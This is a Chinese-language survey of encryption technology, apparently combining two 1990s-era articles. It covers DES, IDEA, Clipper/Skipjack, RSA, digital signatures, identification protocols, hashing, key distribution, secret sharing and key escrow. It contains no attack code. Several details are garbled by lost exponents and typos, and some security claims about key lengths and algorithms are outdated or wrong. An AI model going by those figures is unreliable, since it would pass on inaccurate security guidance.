私用密钥加密利用一个密钥对数据进行加密,对方接收到数据后,需要用同一密钥来进行解密。这种加密技术的特点是数学运算量小,加密速度快,其主要弱点在于密钥管理困难,而且一旦密钥泄露则直接影响到信息的安全性。

* 美国数据加密标准及其改进算法

对称密钥加密技术中最具有代表性的算法是IBM公司提出的DES(Data Encryptiorn Standard)算法,该算法于1977年被美国国家标准局NBS颁布为商用数据加密标准。DES综合运用了置换、代替、代数多种密码技术,把消息分成64位大小的块,使用56位密钥,迭代轮数为l6轮的加密算法。它设计精巧,实现容易,使用方便。

DES正式公布后,世界各国的许多公司都推出自己实现DES的软硬件产品。美国NBS至少已认可了30多种硬件和固件实现产品。硬件产品既有单片式的,也有单板式的;软件产品既有用于大中型机的,也有用于小型机和微型机的。

三重DES(Triple DES)则是DES的加强版。是一种比较新的加密算法,它能够使用多个密钥,主要是对信息逐次作三次加密。

随机化数据加密标准(RDES)算法是日本密码学家Nakao Y.Kaneko T等人于1996年初提出的一种新的DES改进算法。它只是在每轮迭代前的右半部增加了一个随机置换,其他均与DES相同,目前看来它比DES安全性要好。

* 美国新数据加密标准CLIPPER和CAPSTONE

l984年,美国总统里根签署154号国家安全决策会(NSDDl45)命令,国家保密局NSA着手制定美国政府非机要机构使用新的加密标准。NSA推行的商业安全通信签署计划CCEP完全改变了其密码政策,密码的算法不再公开,对用户只提供加密芯片及其硬件设备。NSA所推出加密芯片命名为CLIPPER,其加密算法命名为SKIPJACK,属于64位分组编码的对称密钥体制。

CLIPPER主要是用于商用计算机网和通信网中对数据和语言进行加密,它被设计成允许法律监听的保密通信方式。在使用前需在一种称为SCIF的安全设备中进行编程,加解密时需将CLIPPER芯片装入加密设备中进行。

l993年4月,美国白宫推出了EES(EscrowedEncryption Standard)加密标准,作为解决美国国家安全与美国公民需求之间的平衡问题。欲用EES来进行通信的双方都必须拥有带Clipper芯片的电信安全设备。

美国NSA在推出CLIPPER的同时,还推出了军事通信网中进行数据加密的密码芯片CAPSTONE,并着手对CAPSTONE进行改进,以作为继CLIPPER之后的下一代的数据加密标准。CAPSTONE是在CLIPPER的基础上加入了数字签名算法,密钥交换及相关的数学函数。

* 新一代加密算法IDEA

IDEA(International Data Encryption Algorithm)是一种国际信息加密算法。它是1991年的瑞士ETH Zurich由James Massey 和Xueiia Lai发明的),于l992年正式公开,是一个分组大小为64位,密钥为l28位,迭代轮数为八轮的迭代型密码体制。密钥主要是通过二元和,模216加及216+l乘三种运算来完成,IDEA另一特点是用户可以根据需求选用64位或128位密钥以满足所需的安全要求。

(2)公开密钥加密技术

l976年,Diffie和Hellman首次提出公开密钥加密体制,即每个人都有一对密钥,其中一个为公开的,一个为私有的。发送信息时用对方的公开密钥加密,收信者用自己的私用密钥进行解密。公开密钥加密算法的核心是运用一种特殊的数学函数一单向陷门函数,即从一个方向求值是容易的。但其逆向计算却很困难,从而在实际上成为不可行的。公开密钥加密技术它不仅保证了安全性又易于管理。其不足是加密和解密的时间长。

公开密钥算法有很多,一些算法如著名的背包算法和McELiece算法都被破译,目前公认比较安全的公开密钥算法主要就是RSA算法及其变种Rabin算法,离散对数算法等。

RSA是Rivet,Shamir和Adleman于1978年在美国麻省理工学院研制出来的,它是一种比较典型的公开密钥加密算法,其安全性是建立在"大数分解和素性检测"这一已知的著名数论难题的基础上,即:将两个大素数相乘在计算上很容易实现,但将该乘积分解为两个大素数因子的计算量是相当巨大的,以至于在实际计算中是不能实现的。RSA被应用于保护电子邮件安全的Privacy Enhanced Mail(PEM)和Pretty Good Privacy(PGP)。

我国学者陶仁骥。陈世华提出一种基于有限自动机的公开密钥加密方法:FAPKC0,FAPKC1,FAPKC2,FAPKC3。这是国际上的第一个时序公开密钥算法,其安全性是建立在非线性有限自动机求逆的困难上的。因为从数学上,线性有限自动机已有完美的可逆性理论,但迄今为止未解决非线性有限自动机可逆性理论,它可用于保密通信、数字签名,易于实现,密钥量适中,加解密速度快,已受到国际上的关注。此种密码体制的深人研究方向有:

①用大规模集成电路技术实现有限自动机公开密钥密码体制;

②对有限自动机公开密钥密码体制的安全做类似于针对RSA或流密码那样的充分分析。

公开密钥加密技术在密钥管理上的优势使它越来越受到人们的重视,应用也日益广泛。

2.加密技术发展趋势

①私用密钥加密技术与公开密钥加密技术相结合:鉴于两种密码体制加密的特点,在实际应用中可以采用折衷方案,即结合使用DES/IDEA和RSA,以DES为"内核",RSA为"外壳",对于网络中传输的数据可用DES或IDEA加密,而加密用的密钥则用RSA加密传送,此种方法既保证了数据安全又提高了加密和解密的速度,这也是目前加密技术发展的新方向之一。

②寻求新算法:跳出以常见的迭代为基础的构造思路,脱离基于某些数学问题复杂性的构造方法。如刘尊全先生提出的刘氏算法,是一种基于密钥的公开密钥体制,它采用了随机性原理构造加解密变换,并将其全部运算控制隐匿于密钥中,密钥长度可变。它是采用选取一定长度的分割来构造大的搜索空间,从而实现一次非线性变换。此种加密算法加密强度高、速度快、计算开销低。

③加密最终将被集成到系统和网络中,例如IPV6协议就已有了内置加密的支持,在硬件方面,Intel公司正研制一种加密协处理器。它可以集成到微机的主极上。

3.密钥管理

对于私用密钥加密和公开密钥加密系统来讲、并不强调对加密/解密算法的保密。计算机网络加密的安全性主要是依赖于算法本身的安全性和对密钥的保护。密钥主要有会话密钥(Session Key)、基本密钥(Basic Key)和主密钥(Master Key)三种。会话密钥是通信双方在会话中使用的密钥,此种密钥只在一次会话中有效,会话结束时密钥就失效;在网络中用来传送会话密钥的密钥,就是基本密钥;而对基本密钥进行加密的密钥则称为主密钥。网络中一般是采用这种三级密钥方案来进行保密通信的。

从技术上看,密钥管理包括密钥的产生、存储、分配、使用和销毁等一系列技术问题,密钥分配是其中最重要的问题。从根本上讲,主要存在两种网络密钥管理:KDC(Key Distribution Center)和Diffie-Hellman方法。KDC使用可信第三方来验证通信双方的真实性,产生会话密钥,并通过数字签名等手段分自己密钥。Diffie-Hellmarl方法则不需KDC,通信发起方产生通信会话的私用密钥,并通过数字签名或零知识证明等方式安全传递通信密钥。IETF现在正在开发一种基于Diffi-Hellman技术的密钥交换协议Okaley,从而具有更好的安全性和强立性。目前多密钥分配是有待深入研究的领域。

随着网络的应用与发展,网络安全问题日益突出。数据加密是确保计算机网络安全的一种重要的机制,虽然由于成本、技术和管理上的复杂性,目前尚未在网络中普及,但数据加密作为实现网络环境下数据安全的重要手段之一,必将得到广泛应用,设计优秀的现代加密技术还融入了防篡改和防否认等数字签名技术,故其不但适用于企业,而且也适用于其他用户。

数据加密技术

现代社会对信息安全的需求大部分可以通过密码技术来实现。密码技术是信息安全技术中的核心技术,它主要由密码编码技术和密码分析技术两个分支组成。密码编码技术的主要任务是寻求产生安全性高的有效密码算法。以满足对消息进行加密或认证的要求。密码分析技术的主要任务是彼译密码或伪造认证码,实现窃取机密信息或进行诈骗破坏活动。这两个分支既相互对立,又相互依存。信息的安全性主要包括两个方面即信息的保密性和信息的认证性。保密的目的是防止对手破译系统中的机密信息,认证的目的是验证信息的发送者是真正的,而不是冒充的。验证信息的完整性,即验证信息在传送或存储过程中未被窜改、重放或延迟等。信息的保密性和信息的认证性是信息安全性的两个不同方面,认证不能自动地提供保密性,而保密也不能自然地提供认证功能。在用密码技术保护的现代信息系统的安全性主要取决于对密钥的保护,而不是依赖于对算法或硬件本身的保护,即密码算法的安全性完全寓于密钥之中。可见,密钥的保护和管理在数据系统安全中是极为重要的。人们目前特别关注的是密钥托管技术。

一、信息保密技术

信息的保密性是信息安全性的一个重要方面。保密的目的是防止对手破译信息系统中的机密信息。加密是实现信息保密性的一种重要手段,就是使用数学方法来重新组织数据,使得除了合法的接收者外,任何其他人要想恢复原先的"消息"(将原先的消息称作"明文")或读懂变化后的"消息"(将变化后的消息称作"密文")是非常困难的,将密文变换成明文的过程称作解密。可见,加密技术可使一些重要数据存储在一台不安全的计算机上,或可以在一个不安全的信道上传送,只有持有合法密钥的一方才能获得"明文"。所谓加密算法就是对明文进行加密时所采用的一组规则,解密算法就是对密文进行解密时所采用的一组规则。加密算法和解密算法的操作通常都是在一组密钥控制下进行的,分别称为加密密钥和解密密钥。根据加密密钥和解密密钥是否相同,可将现有的加密体制分为两种:一种是私钥或对称加密体制、这种体制的加密密钥和解密密钥相同,其典型代表是美国的数据加密标准(D E S):另一种是公钥或非对称加密体制,这种体制的加密密钥和解密密钥不相同并且从其中一个很难推出另一个。加密密钥可以公开,而解密密钥可由用户自己秘密保存,其典型代表是R S A体制。

根据明文加密方式的不同,又可将私钥加密体制分为两类:一类是流密码,在这类体制中,明文按字符逐位地被加密;另一类是分组密码,在这类体制中,先将明文分组(每组含有多个字符),然后逐组地进行加密。

从社会应用密码的需求来看,目前国际上最关心的加密技术有两种:一种是分组密码。另一种是公钥密码。

1. 分组密码技术

DES是日前研究最深入、应用最广泛的一种分组密码。己有长达20年的历史。DES的研究大大丰富了设计和分析分组密码的理论、技术和方法。针对DES,人们研制了各种各样的分析分组密码的方法,比如差分分析方法和线性分析方法,这些方法对DES的安全性有一定的威胁,但没有真正对16轮D E S的安全性构成威胁。自从DES公布之日起,人们就认为DES的密钥长度太短(只有56比特),不能抵抗最基本的攻击方法--穷搜索攻击。

目前,国际上公开的分组密码算法有100多种,比如,Lucifer、IDEA、SAFER,k-64、RC5、Skipjack、RC2、FEAL一N、REDOC一II、L0KI、CAST、Khuf u、Khafre、MMB、3一WAY、TEA、MacGuffin、SHARK、BEAR、LION、CA.1.1、CRAB、Biowfish、G0 ST、SQUARE和MISTY等。对这些算法感兴趣的读者可在Schneier所著的《Applied Cry ptography:Protocals,Algorithms,and Source CodeinC》一书和会议论文集《FastSoftware Encryption》中找到它们的详细讨论,也可以通过Internet查询到。美国目前正在制定和评估新的数据加密标准,替代1998年到期的DES。

2. 公钥加密技术

私钥密码体制的缺陷之一是通信双方在进行通信之前需通过一个安全信道事先交换密钥。这在实际应用中通常是非常困难的。而公钥密码体制可使通信双方无须事先交换密钥就可建立起保密通信。公钥算法要比私钥算法慢得多。在实际通信中,一般利用公钥密码体制来保护和分配(交换)密钥,而利用私钥密码体制加密消息。公钥密码体制主要用于认证(比如数字签名,身份识别等)和密钥管理等。公钥密码体制的出现为解决私钥密码体制的密钥分配开辟了一条广阔的道路。

值得一提的是,在有些文献中,公钥密码体制的含义很广,不仅包括公钥加密体制,而且还包括各种公钥协议比如数字签名、身份识别协议、密钥交换协议等,但我们这里所说的公钥密码体制,除了特别声明外,特指公钥加密体制。

目前国际上已经有许多种公钥密码体制,但比较流行的和被人们认可的公钥密码主要有两类,一类是基于大整数因子分解问题的,其中最典用的代表是RSA公钥密码体制:另--类是基于离散对数问题的,比如E lGamal公钥密码体制和椭圆曲线公钥密码体制。由于分解大整数的能力日益增强,所以对RSA公钥密码的安全带来了一定的威胁,512比特模长的RSA体制已经不安全。人们建议使用l024比特模长,要保证20年的安全就要选择1280比特模长,增大模长带来了实现上的难度。而基于离散对数问题的公钥密码在目前技术下有512比特模长;就能够保证其安全性。特别是椭圆曲线上的离散对数的计算要比有限域上的离散对数的计算更困难,能设计出密钥更短的公钥密码体制,因而受到了国际上广泛的关注,RSA等一些公司已经开发出了符合IEEEP l363标准的椭圆曲线公钥密码。

RSA算法的安全性是基于分解大整数的困难性。在RSA体制中使用了这样一条基本事实:一般地说,分解两个大素数之积是一利很困难的事情。

下面是A使用一个公钥密码体制发送信息给B的过程:

(1)A首先获得B的公钥。

(2)A用B的公钥加密信息,然后发送给B。

(3)B用自己的私钥解密A发送的信息。

已经制造出了许多不同的RSA加密芯片。RSA算法在美国已申请了专利,将于2000年9月20日到期。破译RSA的一个直接的方法是分解n,目前的分解能力大概为130位十进制数,但512比特(l54位十进制数)模长的RSA体制安全性已经受到一定的威胁,人们建议使时l024比特(308位十进制数)模长。关于RSA体制,也有一些别的分析方法,比如选择密文攻击、同模攻击和低指数攻击等。这些攻击告诫人们在选择RSA体制的参数和使用RSA体制时必须遵循一定的规则。

除了RSA外,还有一些别的公钥加密算法,比如E lGamal算法、Rabin算法、McEliece算法、Merkie一Hellman背包算法、Chor一Rivest背包算法、有限自动机公钥算法、椭圆曲线的密码算法、细胞自动机公钥密码算法、LU公钥密码算法、多重密钥的公钥密码算法和概率加密算法等。

二、信息认证技术

信息的认证性是信息安全性的另一个重要方面。认证的目的有两个:一是验证信息的发送者是真正的,而不是冒充的:二是验证信息的完整性.即验证信息在传送或存储过料中是否被窜改,重放或延迟等。

对密码系统的攻击主要有两类:一类是被动攻击,对手只是对截获的密文进行分析:另一类是主动攻击,对于通过采用删除、增添、重放和伪造等手段主动向系统注入假消息。认证是防止他人对系统进行主动攻击(如伪造,窜改信息等)的一种重要技术。

1. 数字签名技术

政治、军事、外交等活动中签署文件,商业上签定契约和合同以及日常生活中在书信、从银行取款等事务中的签字,传统上都采用手写签名或印鉴。签名起到认证、核准和生效作用。随着信息时代的来临,人们希望通过数字通信网络进行远距离的贸易合同的签名,数字签名应运而生,并开始时了商业通信系统,如电子邮递、电子转帐、办公室自动化等系统中。

一个数字签名算法主要由两个算法组成,即签名算法和验证算法。签名者能使用一个(秘密)签名算法签一个消息,所得的签名能通过一个公开的验证算法来验证。给定一个签名,验证算法根据签名是否真实来作出一个"真"或"假"的问答。

目前已有大量的数字签名算法,如RSA数字签名算法、EIGamal数字签名算法、Fiat一Shamir数字签名算法、Guillou一Quisquarter数字签名算法、Schnorr数字签名算法、0ng一Schnorr一Shamir数字签名算法、美国的数字签名标准/算法(D S S/D S A)、椭圆曲线数字签名算法和有限自动机数字签名算法等。

A使一个签名算法对消息x签名和B验证签名(x,y)的过程可描述为:

(l)A首先使用他的秘密密钥对x进行签名得y。

(2)A然后将(x,y)发送给B。

(3)最后B用A的公钥验证A的签名的合法性

DSA是美国国家标准技术学会(NIST)的一个标准,它是ElGamal数字签名算法的一个修改。当选择p为512比特的素数时,ElGamal数字签名的尺寸是1024比特,而在DSA中通过选择一个160比特的素数可将签名的尺寸降低为320比特,这就大大地减少了存储空间和传输带宽。关于DSA也有一些批评意见,但它已被人们广泛地接受和应用,它的确为数字签名技术的应用提供了一个适当的内核。

2. 身份识别技术

通信和数据系统的安全性常常取决于能否正确识别通信用户或终端的个人身份。比如银行的自动取款机(ATM)可将现款发放给经它正确识别的帐号持卡人。对计算机的访问和使用、安全地区的出入和放行、出入境等都是以准确的身份识别为基础的。身份识别技术能使识别者让对方识别到自己的真正身份,确保识别者的合法权益。但是从更深一层意义上来说,它是社会责任制的体现和社会管理的需要。

进入电子信息社会,虽然有不少学者试图使用电子化生物唯一识别信息(如指纹、掌纹、声纹、视网膜、脸形等),但由于代价高、准确性低、存储空间人和传输效率低,不适合计算机读取和判别,只能作为辅助措施应用。而使用密码技术,特别是公钥密码技术,能够设计出安全性高的识别协议,受到人们的青睐。

身份识别的常用方式主要有两种,一种是使用通行字的方式;另一种是使用持证的方式。通行字是使时最广泛的一种身份识别方式,比如中国古代调兵用的虎符和现代通信网的拔入协议等。通行字一般由数字、字母、特殊字符、控制字符等组成的长为5--8的字符串。其选择规则为:易记,难于被别人猜中或发现,抗分析能力强,还需要考虑它的选择方法、使用期、长度、分配、存储和管理等。通行字方式识别的办法是:识别者A先输入他的通行字,然后计算机确认它的正确性。A和计算机都知道这个秘密通行字,A每次登录时,计算机都要求A输入通行字。这样就要求计算机存储通行字,一旦通行字文件暴露,就可获得通行字。为了克服这种缺陷,人们建议采用单向函数。此时,计算机存储通行字的单项函数值而不是存储通行字。其认证过程为:

1.A将他的通行字传送给计算机。

2.计算机完成通行字的单向函数值的计算。

3.计算机把单向函数值和机器存储的值比较。

由了计算机不再存储每个人的有效通行字表,某些人侵入计算机也无法从通行字的单向函数值表中获得通行字。当然,这种保护也抵抗不住某些攻击。不过,它的确是一种简单而有效的识别方法。

持证(token)是一种个人持有物,它的作用类似于钥匙,用于启动电子设备。使用比较多的是一种嵌有磁条的塑料卡,磁条上记录有用于机器识别的个人信息。这类卡通常和个人识别号(PIN) 一起使用。这类卡易于制造,而且磁条上记录的数据也易于转录,因此要设法防止仿制。为了提高磁卡的安全性,人们建议使用一种被称作"智能卡"的磁卡来代替普通的磁卡,智能卡与普通的磁卡的主要区别在于智能卡带有智能化的微处理器和存储器。智能卡已成为目前身份识别的一种更有效、更安全的方法。智能卡仅仅为身份识别提供了一个硬件基础,要想得到安全的识别,还需要与安全协议配套使用。

从实用角度来讲,人们最关心的是设计简单而且能在一个智能卡上实现的安全识别协议。一个安全的身份识别协议至少应满足以下两个条件:

1.识别者A能向验证者B证明他的确是A。

2.在识别者A向验证者B证明他的身份后,验证者B没有获得任何有用的信息,B不能模仿A向第三方证明他是A。

 目前已经设计出了许多满足这两个条件的识别协议。比如Schnorr身份识别协议、Okanmto身份识别协议、Guillou-Quisquater身份识别协议和基于身份的识别协议等.这些识别协议均为询问-应答式协议。询问-应答式协议的基本观点是:验证者提出问题(通常是随机选择一些随机数,称作口令),由识别者回答,然后验证者验证其真实性。另一类比较重要的识别协议是零知识身份识别协议。零知识的基本思想是:称为证明者的一方试图使被称为验证者的另一方相信某个论断是正确的,却又不向验证者提供任何有用的信息。Feige、Fiat和Shamir基于零知识的思想设计了第一个零知识身份识别协议,称为Feige-Fiat-Shamir零知识身份识别协议。

3. 杂凑技术和消息的完整性

杂凑函数(也称杂凑算法)就是把任意长的输入串变化成固定长的输出串的一种函数。因为杂凑函数是多对一的函数,所以一定将某些不同的输入变化成相同的输入。这就要求给定一个杂凑值,求其逆是比较难的,但给定的输入计算杂凑值必须是很容易的。

一个安全的杂凑函数应该至少满足以下几个条件:

1. 输入长度是任意的.

2. 输出长度是固定的,根据目前的计算技术应至少取128比特长,以便抵抗生日攻击。

3. 对每一个给定的输入,计算输出其杂凑值是很容易的。

4. 给定杂凑函数的描述,找到两个不同的输入消息杂凑到同一个值在计算上是不可行的,或给定杂凑函数的描述和一个随机选择的消息,找到另一个与该消息不同的消息使得它们杂凑到同一个值在计算上也是不可行的。

 攻击杂凑函数的典型方法是生日攻击,生日攻击的基本观点来自于生日问题:在一个教室里最少有多少学生时,可使得在这个教室里至少有两个学生的生日在同一天的概率不小于50%?这个问题的答案是23。

目前已研制出适合于各种用途的杂凑算法,这些算法都是伪随机函数,任何杂凑值都是等可能的。输出并不以可辨别的方式依赖于输入。任何输入串中单个比特的变化,将会导致输出比特串中大约一般的比特发生变化。利用某些数学难题比如因子分解问题和离散对数问题等设计的杂凑函数有Davies-Price平方杂凑算法、CCITT建议、Juene man杂凑算法、Damgard平方杂凑算法、Damgard背包杂凑算法、Schnorr的FFT杂凑算法等。这些算法中有的已不安全,而有的仍然是安全的。利用某些私钥密码体制比如DES等设计的杂凑函数有Rabin杂凑算法、Winternitz杂凑算法、Quisquater-Girault杂凑算法、Merkle杂凑算法、N-Hash算法等,这种杂凑函数的安全性与所使用的基础密码算法有关。不基于任何假设和密码体制直接设计杂凑函数是当今比较流行的一种设计方法。美国的安全杂凑算法(SHA)就是这类算法,另外还有MD4、MD5、MD2、RIPE-MD、HAVAL等算法。

美国国家标准与技术局和美国国家安全局共同设计了一个与美国数字签名算法(DSA)一起使用的安全杂凑算法(SHA),标准是安全杂凑标准(SHS),SHA是用于该标准的算法。SHA的设计原则与MD4算法的设计原则极其相似,它很象是MD4算法的一种变形,但SHA的设计者没有公开SHA的详细设计决策。SHA输入的长度限制在2比特之内,输出长度为160比特。

消息认证是指使意定的接收者能够检验收到的消息是否真实的方法。检验的内容包括:证实消息的源和宿、消息的内容是否被窜改过(即消息的完整性)、消息的序号和时间性。可见,消息认证可使接收者识别消息的源和内容的真伪、时间性和意定的信宿。

消息的源和宿的认证可使用数字签名技术和身份识别技术,常用的方法有两种:一种方法是通信双方事先约定发送消息的数据加密密钥,接收者只需证实发送来的消息是否能用该密钥还原成明文就能鉴定发送者。如果双方使用同一个数据加密密钥,那么只需在消息中嵌入发送者的识别符即可。另一种方法是通信双方事先约定各自发送消息所使用的通行字,发送消息中含有此通行字并进行加密,接收者只需判别消息中解密的通行字是否等于约定的通行字就能鉴定发送者。为了安全起见,通行字应该是可变的。

消息的序号和时间性的认证主要是阻止消息的重放攻击。常用的方法有:消息的流水作业号、链接认证符,随机数认证法和时戳等。消息内容的认证即消息的完整性检验常用的方法是:消息发送者在消息中加入一个认证码并经加密后发送给接收者检验(有时只需加密认证码即可),接收者利用约定的算法对解密后的消息进行运算,将得到的认证码与收到的认证码进行比较,若二者相等,则接收,否则拒绝接收。目前实现这种方法的基本途径有两条:一条是采用消息认证码(MAC),另一条是采用窜改检测码(MDC)。MAC法利用函数f(x)(f(x)必须满足一定的条件)和密钥k将要发送的明文x或密文y变换成r比特的消息认证码f(x,k)或称其为认证符附加在x或y 之后发出,通常将f选为带密钥的杂凑函数。MDC法利用函数f(x)(f(x)必须满足一定的条件)将要发送的明文x变换成r比特的窜改检测码f(x)附加在x之后,在一起加密事先保密认证。当然,也可以只对窜改检测码f(x)加密。通常将f选为不带密钥的杂凑函数。接收者收到发送的消息后,按照发送这同样的方法对接收的数据或解密后的数据的前面部分进行计算,得到相应的r比特串,然后与接收恢复的r比特串逐位进行比较,若完全相同,则认为收到的消息未被窜改,否则,认为收到的消息已被窜改。

三,密钥管理技术

根据密码假设,一个密码系统的安全性取决于对密钥的保护,而不是对系统或硬件本身的保护。即使在密码体制公开或密码设备丢失的情况下,同一型号的密码机仍可继续使用。然而一旦密钥丢失或出错,不但合法用户不能提取信息,而且可能会是非法用户窃取信息。密钥的保密和安全管理在数据系统安全中是极为重要的 。

密钥管理包括密钥的产生、存储、装入、分配、保护、丢失、销毁等内容.其中密钥的分配和存储可能是最棘手的问题.密钥管理不仅影响系统的安全性,而且涉及到系统的可靠性、有效性和经济性。当然,密钥管理过程中也不可能避免物理上、人事上、规程上等一些问题。

1. 密钥分配协定

密钥分配协定是这样的一种机制:系统中的一个成员先选择一个秘密密钥,然后将它传送另一个成员或别的成员。传统的方法是通过邮递或信使护送密钥。这种方法的安全性完全取决于信使的忠诚和素质,当很难完全消除信使被收买的可能性。另外,这种方法的传输量和存储量都很大。人们希望能设计出满足以下两个条件的密钥分配协议:

1.传输量和存储量都比较小。

2.每一对用户U和V都能独立地计算一个秘密密钥K。

目前已经设计出了大量的满足上述两个条件的密钥分配协议,诸如Blom密钥分配协议,Diffie-Hellman密钥预分配协议、Kerboros 密钥分配协议、基于身份的密钥分配协议等。

密钥协定是一个协议,它通过两个或多个成员在一个公开的信道上通信联络建立一个秘密密钥。在一个密钥协定方案中,密钥的值是由两个成员提供的输入的一个函数。现有的密钥协定方案有Diffie-Hellman密钥交换协议、MTI密钥协定方案、Girault密钥协定方案等。

2. 秘密共享技术

存储在系统中所有密钥的安全性可能最终取决于一个主密钥。这样做存在两个明显的缺陷:一是若主密钥偶然或有意地被暴露,整个系统就易受攻击;二是若主密钥丢失或损坏,系统中的所有信息就不能用了。关于这个问题,Shamir于1979年提出了一种解决方法,称为门限法,实质上是一种秘密共享的思想。这种方法的基本观点是:讲一个密钥K按下述方式破成n个小片k1,k2,......,kn:

1.已知任意t个Ki的值易于计算出K。

2.已知任意t---1个或更少个Ki,则由于信息短缺而不能确定出k。

 将n个小片分给n个用户。由于要重构密钥需要t个小片,故暴露一个小片或大到t-1个小片不会危及密钥,且少于t-1个用户不可能共谋到密钥,同时,若一个小片被丢失或损坏,认可恢复密钥(只要至少有t个有效的小片)。

 人们基于拉格朗日内插多项式法、射影几何、线性代数、孙子定理等提出了许多秘密共享方案。

3. 密钥托管技术

 加密技术既可以帮助守法公民和企业保密,又可以被犯罪分子用于掩护其犯罪事实,这就为政府管理社会,法律执行部门跟踪犯罪分子带来了一定的困难。从国家的利益考虑,应该能控制加密技术的使用。美国于1993年提出的密钥托管加密技术正符合这种要求。密钥托管有时也叫做密钥恢复。现在密钥托管已经是一些系统的派生术语,包括密钥恢复、受信任的第三方、特别获取、数据恢复等。近几年,密钥托管加密技术已成为密码技术研究和应用的焦点。

 美国政府于1993年4月16日通过美国商业部颁布了具有密钥托管功能的加密标准(EES)。该标准规定使用专门授权制造的且算法(将该算法称之为Skipjack算法,目前已公布)不予公布的Clipper芯片实施商用加密。Clipper芯片是实现了EES标准的防窜扰芯片,它是由美国国家安全局(NSA)主持开发的硬件实现的密码部件。由于加密体制具有在法律许可时可以进行密钥合成的功能,所以政府在必要时无须花费巨大代价破译密码,而能够直接侦听。目前我们可以从网上搜集到近40种不同功能的密钥托管系统。。。。。。

推广链接